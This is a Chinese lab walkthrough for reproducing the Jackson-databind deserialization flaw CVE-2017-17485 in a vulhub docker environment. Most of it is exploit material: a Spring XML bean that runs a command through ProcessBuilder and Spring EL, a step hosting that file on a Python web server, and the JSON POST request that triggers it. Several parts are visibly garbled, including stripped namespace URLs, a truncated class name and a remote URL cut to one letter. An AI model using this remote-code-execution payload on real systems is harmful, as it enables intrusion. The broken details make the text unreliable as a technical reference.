Jackson-databind反序列化漏洞(CVE-2017-17485)
漏洞搭建
cd /root/vulhub/jackson/CVE-2017-7525
docker-compose up -d
漏洞原理
利⽤ FileSystemXmlApplicationContext 加载远程 bean 定义⽂件,创建 ProcessBuilder bean,并在 xml ⽂件中使⽤ Spring EL 来调⽤ start() ⽅法实现命令执⾏
CVE-2017-7525  绕过,利⽤了 t.support.FileSystemXmlApplicationContext。
漏洞复现
<beans xmlns="/schema/beans"
xmlns:xsi="/2001/XMLSchema-instance"
xsi:schemaLocation="    /schema/beans    /schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>
我们⽤python搭建
cve漏洞库python -m SimpleHTTPServer 80
发送POST数据,会在/tmp处添加
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Type: application/json
Content-Length: 138
{
"param": [
"t.support.FileSystemXmlApplicationContext",
"l"
]
}

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。